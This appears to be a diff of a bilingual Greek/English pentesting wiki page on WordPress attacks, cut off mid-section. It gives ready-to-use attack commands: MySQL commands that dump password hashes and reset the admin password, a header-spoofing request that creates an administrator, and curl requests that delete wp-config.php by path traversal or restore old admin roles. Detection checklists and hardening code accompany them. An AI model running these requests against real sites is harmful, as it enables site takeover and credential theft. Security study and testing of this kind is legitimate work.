**Για περισσότερα βήματα δείτε:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Από XSS σε RCE ## Από XSS σε RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:** - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια ευπάθεια **Cross-Site Scripting (XSS)** σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress. - _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Ανεβάστε το custom plugin (backdoor) σας στο WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργασία Built-In Plugins στο WordPress. - _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Επεξεργασία Built-In Themes στο WordPress. - _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits για Third-Party WordPress Plugins/Themes. - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
## Post Exploitation ## Post Exploitation
Εξαγωγή usernames και passwords: Εξαγωγή ονομάτων χρηστών και κωδικών πρόσβασης:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
``` ```
Αλλαγή admin password: Αλλαγή κωδικού admin:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
``` ```
## Wordpress Plugins Pentest ## Wordpress Plugins Pentest
### Attack Surface ### Επιφάνεια Επίθεσης
Το να γνωρίζεις πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμο για να εντοπίσεις ευπάθειες στη λειτουργία του. Μπορείς να δεις πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία και κάποια παραδείγματα ευπαθών plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για να εντοπιστούν ευπάθειες στη λειτουργία του. Μπορείτε να δείτε με ποιους τρόπους ένα plugin μπορεί να εκθέσει λειτουργίες στα παρακάτω σημεία και μερικά παραδείγματα ευάλωτων plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`** - **`wp_ajax`**
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα λογικής, authorization ή authentication. Επιπλέον, είναι συχνό ότι αυτές οι λειτουργίες βασίζουν τόσο το authentication όσο και το authorization στην ύπαρξη ενός wordpress nonce που **οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει** (ανεξαρτήτως του role). Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει functions σε χρήστες είναι μέσω AJAX handlers. Αυτά μπορεί να περιέχουν λογικά σφάλματα, προβλήματα authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce που **οποιοσδήποτε χρήστης authenticated στην Wordpress instance μπορεί να έχει** (ανεξαρτήτως ρόλου).
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: Αυτές είναι οι functions που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια function σε ένα plugin:
```php ```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
``` ```
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμη και μη αυθεντικοποιημένους).** **Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμα και μη unathenticated).**
> [!CAUTION] > [!CAUTION]
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση μόνο ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια ενδέχεται να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια. > Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει ότι ο χρήστης είναι loggedin, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλότερα προνόμια.
- **REST API** - **REST API**
Είναι επίσης δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρώντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`: Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρίζοντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
```php ```php
register_rest_route( register_rest_route(
$this->namespace, '/get/', array( $this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
) )
); );
``` ```
Το `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δοθείς χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο του API. The `permission_callback` είναι μια callback συνάρτηση που ελέγχει αν ένας συγκεκριμένος χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο του API.
**Εάν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παρακάμψει απλά τον έλεγχο δικαιωμάτων χρήστη.** **Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παρακάμψει απλά τον έλεγχο δικαιωμάτων χρήστη.**
- **Άμεση πρόσβαση στο αρχείο PHP** - **Άμεση πρόσβαση στο php αρχείο**
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, αν ένα plugin εκθέτει ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα μπορεί να εκμεταλλευτεί από οποιονδήποτε χρήστη. Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, αν ένα plugin εκθέτει κάποια ευπαθή λειτουργία που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα μπορεί να εκμεταλλευτείται από οποιονδήποτε χρήστη.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Κάποια plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον user context για REST requests. Αν το header δεν είναι κρυπτογραφικά δεμένο με το request από ένα upstream component, ένας attacker μπορεί να το spoofάρει και να προσπελάσει privileged REST routes ως administrator. Μερικά plugins υλοποιούν “trusted header” συντομεύσεις για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτήν την επικεφαλίδα για να ορίσουν το τρέχον context χρήστη για αιτήματα REST. Εάν η επικεφαλίδα δεν είναι κρυπτογραφικά δεμένη με το αίτημα από κάποιο upstream component, ένας επιτιθέμενος μπορεί να την πλαστογραφήσει και να προσπελάσει προνομιακές REST routes ως διαχειριστής.
- Επίπτωση: μη αυθεντικοποιημένη privilege escalation σε admin δημιουργώντας νέο administrator μέσω του core users REST route. - Επίπτωση: μη-επιβεβαιωμένη αναβάθμιση προνομίων σε διαχειριστή δημιουργώντας έναν νέο διαχειριστή μέσω της core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (επιβάλλει το user ID 1, συνήθως ο πρώτος λογαριασμός administrator). - Παράδειγμα επικεφαλίδας: `X-Wcpay-Platform-Checkout-User: 1` (εξαναγκάζει το user ID 1, που συνήθως είναι ο πρώτος λογαριασμός διαχειριστή).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. - Εκμεταλλευόμενη διαδρομή: `POST /wp-json/wp/v2/users` με ένα array ρόλων με αυξημένα προνόμια.
PoC PoC
```http ```http
@ -393,38 +393,38 @@ Content-Length: 114
``` ```
Γιατί λειτουργεί Γιατί λειτουργεί
- Το plugin αντιστοιχίζει μια κεφαλίδα που ελέγχεται από τον client στην κατάσταση ταυτοποίησης και παρακάμπτει τους ελέγχους δικαιωμάτων. - Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση επαλήθευσης ταυτότητας και παρακάμπτει τους ελέγχους capability.
- Ο πυρήνας του WordPress αναμένει τη δυνατότητα `create_users` για αυτή τη διαδρομή· το hack του plugin την παρακάμπτει ρυθμίζοντας απευθείας το context του τρέχοντος χρήστη από την κεφαλίδα. - Το WordPress core αναμένει την capability `create_users` για αυτό το route· το hack του plugin το παρακάμπτει με το να ορίσει απευθείας το current user context από το header.
Προσδοκώμενοι δείκτες επιτυχίας Αναμενόμενοι δείκτες επιτυχίας
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη. - HTTP 201 με σώμα JSON που περιγράφει τον δημιουργημένο χρήστη.
- Ένας νέος χρήστης διαχειριστής ορατός στο `wp-admin/users.php`. - Ένας νέος χρήστης admin ορατός στο `wp-admin/users.php`.
Λίστα ελέγχου ανίχνευσης Λίστα ελέγχου ανίχνευσης
- Ψάξτε (grep) για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν προσαρμοσμένες κεφαλίδες για να ορίσουν το context του χρήστη (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`). - Χρησιμοποιήστε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν user context (π.χ., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Επανεξετάστε τις εγγραφές REST για privileged callbacks που δεν έχουν αξιόπιστους ελέγχους `permission_callback` και αντίθετα βασίζονται σε request headers. - Επανεξετάστε τις εγγραφές REST για privileged callbacks που δεν έχουν ισχυρούς ελέγχους `permission_callback` και αντίθετα βασίζονται σε request headers.
- Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές κεφαλίδων. - Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
Σκληρυνση Σκληροποίηση
- Μην βασίζετε ποτέ την ταυτοποίηση ή την εξουσιοδότηση σε κεφαλίδες που ελέγχονται από τον client. - Μην εξάγετε την επαλήθευση ταυτότητας ή την εξουσιοδότηση από headers που ελέγχονται από τον client.
- Εάν ένας reverse proxy πρέπει να εισάγει ταυτότητα, τερματίστε την εμπιστοσύνη στο proxy και αφαιρέστε εισερχόμενα αντίγραφα (π.χ. `unset X-Wcpay-Platform-Checkout-User` στο edge), στη συνέχεια περάστε ένα υπογεγραμμένο token και επαληθεύστε το server-side. - Αν ένας reverse proxy πρέπει να εγχύσει identity, τερματίστε την εμπιστοσύνη στο proxy και αφαιρέστε τις εισερχόμενες αντιγραφές (π.χ., `unset X-Wcpay-Platform-Checkout-User` στο edge), και στη συνέχεια περάστε ένα signed token και επαληθεύστε το server-side.
- Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους `current_user_can()` και ένα αυστηρό `permission_callback` (μη χρησιμοποιείτε `__return_true`). - Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους `current_user_can()` και ένα αυστηρό `permission_callback` (μην χρησιμοποιείτε `__return_true`).
- Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”. - Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”.
Αναφορές: δείτε τους συνδέσμους στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση. Αναφορές: δείτε τα links στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.
### Μη-επαληθευμένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0) ### Μη αυθεντικοποιημένη Αυθαίρετη Διαγραφή Αρχείου μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
Τα themes και plugins του WordPress συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_** **η callback γίνεται προσβάσιμη από μη-επαληθευμένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί: Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν η παραλλαγή **_nopriv_** χρησιμοποιείται **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
1. Έναν **έλεγχο δικαιωμάτων** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και 1. Έναν **έλεγχο capability** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και 2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
3. **Αυστηρή εξυγίανση / επαλήθευση εισόδου**. 3. **Αυστηρή εξυγίανση / επικύρωση εισροών**.
Το multipurpose theme Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Remove Font Family* και κατέληξε να συμπεριλαμβάνει τον ακόλουθο κώδικα (απλουστευμένος): Το multipurpose theme Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Remove Font Family* και τελικά περιέλαβε τον ακόλουθο κώδικα (απλοποιημένο):
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -445,29 +445,29 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
``` ```
Προβλήματα που εισάγει αυτό το απόσπασμα: Προβλήματα που εισάγει αυτό το απόσπασμα:
* **Μη αυθεντικοποιημένη πρόσβαση** το hook `wp_ajax_nopriv_` έχει καταχωρηθεί. * **Unauthenticated access** το `wp_ajax_nopriv_` hook έχει καταχωρηθεί.
* **Δεν υπάρχει έλεγχος nonce / capability** οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint. * **No nonce / capability check** οποιοσδήποτε επισκέπτης μπορεί να καλέσει το endpoint.
* **Δεν υπάρχει καθαρισμός μονοπατιού** η συμβολοσειρά που ελέγχεται από τον χρήστη `fontfamily` συνενώνεται σε ένα filesystem path χωρίς φιλτράρισμα, επιτρέποντας το κλασικό traversal `../../`. * **No path sanitisation** η συμβολοσειρά `fontfamily`, που ελέγχεται από τον χρήστη, συγχωνεύεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
#### Εκμετάλλευση #### Εκμετάλλευση
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST request: Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) με την αποστολή ενός μόνο HTTP POST αιτήματος:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php' -d 'fontfamily=../../../../wp-config.php'
``` ```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). Εφόσον `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στον *installation wizard* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο attacker απλώς παρέχει μια νέα DB configuration και δημιουργεί έναν admin χρήστη).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. Άλλοι σημαντικοί στόχοι περιλαμβάνουν plugin/theme `.php` αρχεία (για να σπάσουν security plugins) ή κανόνες `.htaccess`.
#### Detection checklist #### Detection checklist
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). * Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). * Συνένωση μη-ελεγχόμενης εισόδου χρήστη σε διαδρομές (ψάξτε για `$_POST`, `$_GET`, `$_REQUEST`).
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. * Απουσία των `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
#### Hardening #### Σκληροποίηση
```php ```php
function secure_remove_font_family() { function secure_remove_font_family() {
if ( ! is_user_logged_in() ) { if ( ! is_user_logged_in() ) {
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration // 🔒 NO wp_ajax_nopriv_ registration
``` ```
> [!TIP] > [!TIP]
> **Always** θεωρείτε οποιαδήποτε ενέργεια εγγραφής/διαγραφής στο δίσκο ως privileged και ελέγξτε προσεκτικά: > **Πάντα** αντιμετωπίζετε οποιαδήποτε εγγραφή/διαγραφή σε δίσκο ως λειτουργία με προνόμια και επαληθεύστε διπλά:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
--- ---
### Privilege escalation μέσω αποκατάστασης παρωχημένων ρόλων και missing authorization (ASE "View Admin as Role") ### Privilege escalation μέσω επαναφοράς παρωχημένου ρόλου και έλλειψης εξουσιοδότησης (ASE "View Admin as Role")
Πολλά plugins υλοποιούν μια λειτουργία "view as role" ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν η διαδρομή επαναφοράς βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ. `$_REQUEST['reset-for']`) και σε μια λίστα που διατηρεί το plugin χωρίς έλεγχο capabilities και χωρίς έγκυρο nonce, αυτό γίνεται vertical privilege escalation. Πολλά plugins υλοποιούν μια λειτουργία "view as role" ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό(ούς) ρόλο(ους) στα user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν η διαδρομή επαναφοράς βασίζεται μόνο σε request parameters (π.χ. `$_REQUEST['reset-for']`) και σε μια λίστα που διαχειρίζεται το plugin χωρίς έλεγχο των capabilities και ενός έγκυρου nonce, αυτό μετατρέπεται σε vertical privilege escalation.
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει `reset-for=<username>` εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`: Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επαναέφερε ρόλους βάσει `reset-for=<username>` εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτελούσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και προσθέσει ξανά τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
```php ```php
// Simplified vulnerable pattern // Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) { if ( isset( $_REQUEST['reset-for'] ) ) {
@ -513,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
``` ```
Γιατί είναι εκμεταλλεύσιμο Γιατί είναι εκμεταλλεύσιμο
- Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή του plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή. - Εμπιστεύεται `$_REQUEST['reset-for']` και ένα plugin option χωρίς server-side authorization.
- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει πατώντας στη διαδρομή επαναφοράς. - Αν ένας χρήστης είχε προηγουμένως υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει χτυπώντας το reset path.
- Σε ορισμένες αναπτύξεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να ενεργοποιήσει μια επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (σφάλμα εξουσιοδότησης). - Σε κάποιες αναπτύξεις, οποιοδήποτε authenticated user θα μπορούσε να προκαλέσει ένα reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization).
Attack prerequisites Attack prerequisites
- Ευάλωτη έκδοση του plugin με τη λειτουργία ενεργοποιημένη. - Ευάλωτη έκδοση plugin με το feature ενεργοποιημένο.
- Ο λογαριασμός-στόχος έχει ένα παλιό ρόλο με υψηλά προνόμια αποθηκευμένο στα user meta από προηγούμενη χρήση. - Ο target account έχει ένα stale high-privilege role αποθηκευμένο στα user meta από προηγούμενη χρήση.
- Οποιαδήποτε πιστοποιημένη συνεδρία; απουσία nonce/capability στη ροή επαναφοράς. - Οποιαδήποτε authenticated session; απουσία nonce/capability στη reset flow.
Exploitation (example) Exploitation (example)
```bash ```bash
@ -531,59 +531,108 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \ curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>' 'https://victim.example/wp-admin/?reset-for=<your_username>'
``` ```
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους “original roles” (π.χ., `administrator`), αυξάνοντας ουσιαστικά τα προνόμια. Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας ουσιαστικά τα προνόμια.
Detection checklist Detection checklist
- Ψάξτε για role-switching features που διατηρούν τους “original roles” στο user meta (π.χ., `_asenha_view_admin_as_original_roles`). - Αναζητήστε δυνατότητες αλλαγής ρόλου που διατηρούν τους “αρχικούς ρόλους” στο user meta (π.χ., `_asenha_view_admin_as_original_roles`).
- Εντοπίστε διαδρομές επανεκκίνησης/restore που: - Εντοπίστε μονοπάτια reset/restore που:
- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`. - Διαβάζουν ονόματα χρήστη από `$_REQUEST` / `$_GET` / `$_POST`.
- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`. - Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
- Εξουσιοδοτούν βάσει ενός plugin option array (π.χ., `viewing_admin_as_role_are`) αντί για τις δυνατότητες του ενεργούντος χρήστη. - Εξουσιοδοτούν βάσει ενός πίνακα επιλογών plugin (π.χ., `viewing_admin_as_role_are`) αντί των δυνατοτήτων (capabilities) του χρήστη που ενεργεί.
Hardening Hardening
- Επιβάλετε ελέγχους δυνατοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερο). - Επιβάλετε ελέγχους capabilities σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερο).
- Απαιτήστε nonces για όλες τις μεταβολές ρόλων/δικαιωμάτων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`. - Απαιτήστε nonces για όλες τις μεταβολές ρόλων/αδειών και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
- Μην εμπιστεύεστε ποτέ ονόματα χρηστών που προέρχονται από το request· επιλύστε τον στοχευόμενο χρήστη server-side βάσει του επαληθευμένου χρήστη και ρητής πολιτικής. - Μην εμπιστεύεστε ποτέ ονόματα χρήστη που παρέχονται από το αίτημα· επιλύστε τον στοχευόμενο χρήστη στον διακομιστή με βάση τον πιστοποιημένο χρήστη και την ρητή πολιτική.
- Ακυρώστε την κατάσταση “original roles” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την επαναφορά παλαιών υψηλών προνομίων: - Ακυρώστε την κατάσταση των “αρχικών ρόλων” σε ενημερώσεις προφίλ/ρόλων για να αποφευχθεί η επαναφορά παρωχημένων υψηλών προνομίων:
```php ```php
add_action( 'profile_update', function( $user_id ) { add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 ); }, 10, 1 );
``` ```
- Σκεφτείτε να αποθηκεύετε την ελάχιστη δυνατή κατάσταση και να χρησιμοποιείτε χρονικά περιορισμένα, διακριτικά με έλεγχο ικανοτήτων για προσωρινές αλλαγές ρόλου. - Σκεφθείτε την αποθήκευση ελάχιστης κατάστασης και τη χρήση χρονικά περιορισμένων, capabilityπροστατευμένων tokens για προσωρινές αλλαγές ρόλων.
--- ---
### WAF considerations for WordPress/plugin CVEs ### Unauthenticated privilege escalation μέσω cookietrusted user switching στο δημόσιο `init` (Service Finder “sf-booking”)
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. Μερικά plugins δεσμεύουν user-switching helpers στο δημόσιο hook `init` και εξάγουν την ταυτότητα από ένα cookie που ελέγχεται από τον client. Αν ο κώδικας καλέσει `wp_set_auth_cookie()` χωρίς έλεγχο του authentication, της capability και ενός έγκυρου nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να αναγκάσει login ως οποιοδήποτε user ID.
Offensive notes Τυπικό ευάλωτο μοτίβο (απλοποιημένο από Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
